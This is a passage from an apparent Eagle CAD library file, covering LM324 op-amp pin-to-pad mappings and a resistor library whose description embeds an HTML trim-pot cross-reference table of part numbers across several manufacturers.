length=\"middle\" direction=\"pwr\" rot=\"R270\"/>\n<pin name=\"V-\" x=\"0\" y=\"-7.62\" visible=\"pad\" length=\"middle\" direction=\"pwr\" rot=\"R90\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"LM324\" prefix=\"IC\">\n<description>&lt;b&gt;OP AMP&lt;/b&gt;</description>\n<gates>\n<gate name=\"A\" symbol=\"OPAMP\" x=\"15.24\" y=\"10.16\" swaplevel=\"1\"/>\n<gate name=\"B\" symbol=\"OPAMP\" x=\"43.18\" y=\"10.16\" swaplevel=\"1\"/>\n<gate name=\"C\" symbol=\"OPAMP\" x=\"15.24\" y=\"-10.16\" swaplevel=\"1\"/>\n<gate name=\"D\" symbol=\"OPAMP\" x=\"43.18\" y=\"-7.62\" swaplevel=\"1\"/>\n<gate name=\"P\" symbol=\"PWR+-\" x=\"15.24\" y=\"10.16\" addlevel=\"request\"/>\n</gates>\n<devices>\n<device name=\"N\" package=\"DIL14\">\n<connects>\n<connect gate=\"A\" pin=\"+IN\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"-IN\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"OUT\" pad=\"1\"/>\n<connect gate=\"B\" pin=\"+IN\" pad=\"5\"/>\n<connect gate=\"B\" pin=\"-IN\" pad=\"6\"/>\n<connect gate=\"B\" pin=\"OUT\" pad=\"7\"/>\n<connect gate=\"C\" pin=\"+IN\" pad=\"10\"/>\n<connect gate=\"C\" pin=\"-IN\" pad=\"9\"/>\n<connect gate=\"C\" pin=\"OUT\" pad=\"8\"/>\n<connect gate=\"D\" pin=\"+IN\" pad=\"12\"/>\n<connect gate=\"D\" pin=\"-IN\" pad=\"13\"/>\n<connect gate=\"D\" pin=\"OUT\" pad=\"14\"/>\n<connect gate=\"P\" pin=\"V+\" pad=\"4\"/>\n<connect gate=\"P\" pin=\"V-\" pad=\"11\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"D\" package=\"SO14\">\n<connects>\n<connect gate=\"A\" pin=\"+IN\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"-IN\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"OUT\" pad=\"1\"/>\n<connect gate=\"B\" pin=\"+IN\" pad=\"5\"/>\n<connect gate=\"B\" pin=\"-IN\" pad=\"6\"/>\n<connect gate=\"B\" pin=\"OUT\" pad=\"7\"/>\n<connect gate=\"C\" pin=\"+IN\" pad=\"10\"/>\n<connect gate=\"C\" pin=\"-IN\" pad=\"9\"/>\n<connect gate=\"C\" pin=\"OUT\" pad=\"8\"/>\n<connect gate=\"D\" pin=\"+IN\" pad=\"12\"/>\n<connect gate=\"D\" pin=\"-IN\" pad=\"13\"/>\n<connect gate=\"D\" pin=\"OUT\" pad=\"14\"/>\n<connect gate=\"P\" pin=\"V+\" pad=\"4\"/>\n<connect gate=\"P\" pin=\"V-\" pad=\"11\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"resistor\">\n<description>&lt;b&gt;Resistors, Capacitors, Inductors&lt;/b&gt;&lt;p&gt;\nBased on the previous libraries:\n&lt;ul&gt;\n&lt;li&gt;r.lbr\n&lt;li&gt;cap.lbr \n&lt;li&gt;cap-fe.lbr\n&lt;li&gt;captant.lbr\n&lt;li&gt;polcap.lbr\n&lt;li&gt;ipc-smd.lbr\n&lt;/ul&gt;\nAll SMD packages are defined according to the IPC specifications and  CECC&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;&lt;p&gt;\n&lt;p&gt;\nfor Electrolyt Capacitors see also :&lt;p&gt;\nwww.bccomponents.com &lt;p&gt;\nwww.panasonic.com&lt;p&gt;\nwww.kemet.com&lt;p&gt;\n&lt;p&gt;\nfor trimmer refence see : &lt;u&gt;www.electrospec-inc.com/cross_references/trimpotcrossref.asp&lt;/u&gt;&lt;p&gt;\n\n&lt;map name=\"nav_main\"&gt;\n&lt;area shape=\"rect\" coords=\"0,1,140,23\" href=\"../military_specs.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"0,24,140,51\" href=\"../about.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,52,140,77\" href=\"../rfq.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"0,78,139,103\" href=\"../products.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,102,138,128\" href=\"../excess_inventory.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,129,138,150\" href=\"../edge.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,151,139,178\" href=\"../industry_links.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"0,179,139,201\" href=\"../comments.asp\" title=\"\"&gt;\n&lt;area shape=\"rect\" coords=\"1,203,138,231\" href=\"../directory.asp\" title=\"\"&gt;\n&lt;area shape=\"default\" nohref&gt;\n&lt;/map&gt;\n\n&lt;html&gt;\n\n&lt;title&gt;&lt;/title&gt;\n\n &lt;LINK REL=\"StyleSheet\" TYPE=\"text/css\" HREF=\"style-sheet.css\"&gt;\n\n&lt;body bgcolor=\"#ffffff\" text=\"#000000\" marginwidth=\"0\" marginheight=\"0\" topmargin=\"0\" leftmargin=\"0\"&gt;\n&lt;table border=0 cellspacing=0 cellpadding=0 width=\"100%\" cellpaddding=0 height=\"55%\"&gt;\n&lt;tr valign=\"top\"&gt;\n\n&lt;/td&gt;\n&lt;! &lt;td width=\"10\"&gt;&amp;nbsp;&lt;/td&gt;\n&lt;td width=\"90%\"&gt;\n\n&lt;b&gt;&lt;font color=\"#0000FF\" size=\"4\"&gt;TRIM-POT CROSS REFERENCE&lt;/font&gt;&lt;/b&gt;\n&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=2&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;RECTANGULAR MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BOURNS&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BI&amp;nbsp;TECH&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;DALE-VISHAY&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PHILIPS/MEPCO&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MURATA&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PANASONIC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;SPECTROL&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MILSPEC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3 &gt;\n      3005P&lt;BR&gt;\n      3006P&lt;BR&gt;\n      3006W&lt;BR&gt;\n      3006Y&lt;BR&gt;\n      3009P&lt;BR&gt;\n      3009W&lt;BR&gt;\n      3009Y&lt;BR&gt;\n      3057J&lt;BR&gt;\n      3057L&lt;BR&gt;\n      3057P&lt;BR&gt;\n      3057Y&lt;BR&gt;\n      3059J&lt;BR&gt;\n      3059L&lt;BR&gt;\n      3059P&lt;BR&gt;\n      3059Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      89P&lt;BR&gt;\n      89W&lt;BR&gt;\n      89X&lt;BR&gt;\n      89PH&lt;BR&gt;\n      76P&lt;BR&gt;\n      89XH&lt;BR&gt;\n      78SLT&lt;BR&gt;\n      78L&amp;nbsp;ALT&lt;BR&gt;\n      56P&amp;nbsp;ALT&lt;BR&gt;\n      78P&amp;nbsp;ALT&lt;BR&gt;\n      T8S&lt;BR&gt;\n      78L&lt;BR&gt;\n      56P&lt;BR&gt;\n      78P&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      T18/784&lt;BR&gt;\n      783&lt;BR&gt;\n      781&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2199&lt;BR&gt;\n      1697/1897&lt;BR&gt;\n      1680/1880&lt;BR&gt;\n      2187&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      8035EKP/CT20/RJ-20P&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ-20X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      1211L&lt;BR&gt;\n      8012EKQ&amp;nbsp;ALT&lt;BR&gt;\n      8012EKR&amp;nbsp;ALT&lt;BR&gt;\n      1211P&lt;BR&gt;\n      8012EKJ&lt;BR&gt;\n      8012EKL&lt;BR&gt;\n      8012EKQ&lt;BR&gt;\n      8012EKR&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      2101P&lt;BR&gt;\n      2101W&lt;BR&gt;\n      2101Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2102L&lt;BR&gt;\n      2102S&lt;BR&gt;\n      2102Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVMCOG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      43P&lt;BR&gt;\n      43W&lt;BR&gt;\n      43Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      40L&lt;BR&gt;\n      40P&lt;BR&gt;\n      40Y&lt;BR&gt;\n      70Y-T602&lt;BR&gt;\n      70L&lt;BR&gt;\n      70P&lt;BR&gt;\n      70Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SQUARE MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n   &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3250L&lt;BR&gt;\n      3250P&lt;BR&gt;\n      3250W&lt;BR&gt;\n      3250X&lt;BR&gt;\n      3252P&lt;BR&gt;\n      3252W&lt;BR&gt;\n      3252X&lt;BR&gt;\n      3260P&lt;BR&gt;\n      3260W&lt;BR&gt;\n      3260X&lt;BR&gt;\n      3262P&lt;BR&gt;\n      3262W&lt;BR&gt;\n      3262X&lt;BR&gt;\n      3266P&lt;BR&gt;\n      3266W&lt;BR&gt;\n      3266X&lt;BR&gt;\n      3290H&lt;BR&gt;\n      3290P&lt;BR&gt;\n      3290W&lt;BR&gt;\n      3292P&lt;BR&gt;\n      3292W&lt;BR&gt;\n      3292X&lt;BR&gt;\n      3296P&lt;BR&gt;\n      3296W&lt;BR&gt;\n      3296X&lt;BR&gt;\n      3296Y&lt;BR&gt;\n      3296Z&lt;BR&gt;\n      3299P&lt;BR&gt;\n      3299W&lt;BR&gt;\n      3299X&lt;BR&gt;\n      3299Y&lt;BR&gt;\n      3299Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&amp;nbsp;ALT&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      64X&amp;nbsp;ALT&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66P&lt;BR&gt;\n      66W&lt;BR&gt;\n      66X&lt;BR&gt;\n      67P&lt;BR&gt;\n      67W&lt;BR&gt;\n      67X&lt;BR&gt;\n      67Y&lt;BR&gt;\n      67Z&lt;BR&gt;\n      68P&lt;BR&gt;\n      68W&lt;BR&gt;\n      68X&lt;BR&gt;\n      67Y&amp;nbsp;ALT&lt;BR&gt;\n      67Z&amp;nbsp;ALT&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      5050&lt;BR&gt;\n      5091&lt;BR&gt;\n      5080&lt;BR&gt;\n      5087&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T63YB&lt;BR&gt;\n      T63XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      5887&lt;BR&gt;\n      5891&lt;BR&gt;\n      5880&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T93Z&lt;BR&gt;\n      T93YA&lt;BR&gt;\n      T93XA&lt;BR&gt;\n      T93YB&lt;BR&gt;\n      T93XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKW&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKB&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      1309X&lt;BR&gt;\n      1309P&lt;BR&gt;\n      1309W&lt;BR&gt;\n      8024EKP&lt;BR&gt;\n      8024EKW&lt;BR&gt;\n      8024EKN&lt;BR&gt;\n      RJ-9P/CT9P&lt;BR&gt;\n      RJ-9W&lt;BR&gt;\n      RJ-9X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3105P/3106P&lt;BR&gt;\n      3105W/3106W&lt;BR&gt;\n      3105X/3106X&lt;BR&gt;\n      3105Y/3106Y&lt;BR&gt;\n      3105Z/3105Z&lt;BR&gt;\n      3102P&lt;BR&gt;\n      3102W&lt;BR&gt;\n      3102X&lt;BR&gt;\n      3102Y&lt;BR&gt;\n      3102Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMCBG&lt;BR&gt;\n      EVMCCG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      55-1-X&lt;BR&gt;\n      55-4-X&lt;BR&gt;\n      55-3-X&lt;BR&gt;\n      55-2-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      50-2-X&lt;BR&gt;\n      50-4-X&lt;BR&gt;\n      50-3-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      64Y&lt;BR&gt;\n      64Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3323P&lt;BR&gt;\n      3323S&lt;BR&gt;\n      3323W&lt;BR&gt;\n      3329H&lt;BR&gt;\n      3329P&lt;BR&gt;\n      3329W&lt;BR&gt;\n      3339H&lt;BR&gt;\n      3339P&lt;BR&gt;\n      3339W&lt;BR&gt;\n      3352E&lt;BR&gt;\n      3352H&lt;BR&gt;\n      3352K&lt;BR&gt;\n      3352P&lt;BR&gt;\n      3352T&lt;BR&gt;\n      3352V&lt;BR&gt;\n      3352W&lt;BR&gt;\n      3362H&lt;BR&gt;\n      3362M&lt;BR&gt;\n      3362P&lt;BR&gt;\n      3362R&lt;BR&gt;\n      3362S&lt;BR&gt;\n      3362U&lt;BR&gt;\n      3362W&lt;BR&gt;\n      3362X&lt;BR&gt;\n      3386B&lt;BR&gt;\n      3386C&lt;BR&gt;\n      3386F&lt;BR&gt;\n      3386H&lt;BR&gt;\n      3386K&lt;BR&gt;\n      3386M&lt;BR&gt;\n      3386P&lt;BR&gt;\n      3386S&lt;BR&gt;\n      3386W&lt;BR&gt;\n      3386X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      25P&lt;BR&gt;\n      25S&lt;BR&gt;\n      25RX&lt;BR&gt;\n      82P&lt;BR&gt;\n      82M&lt;BR&gt;\n      82PA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      91E&lt;BR&gt;\n      91X&lt;BR&gt;\n      91T&lt;BR&gt;\n      91B&lt;BR&gt;\n      91A&lt;BR&gt;\n      91V&lt;BR&gt;\n      91W&lt;BR&gt;\n      25W&lt;BR&gt;\n      25V&lt;BR&gt;\n   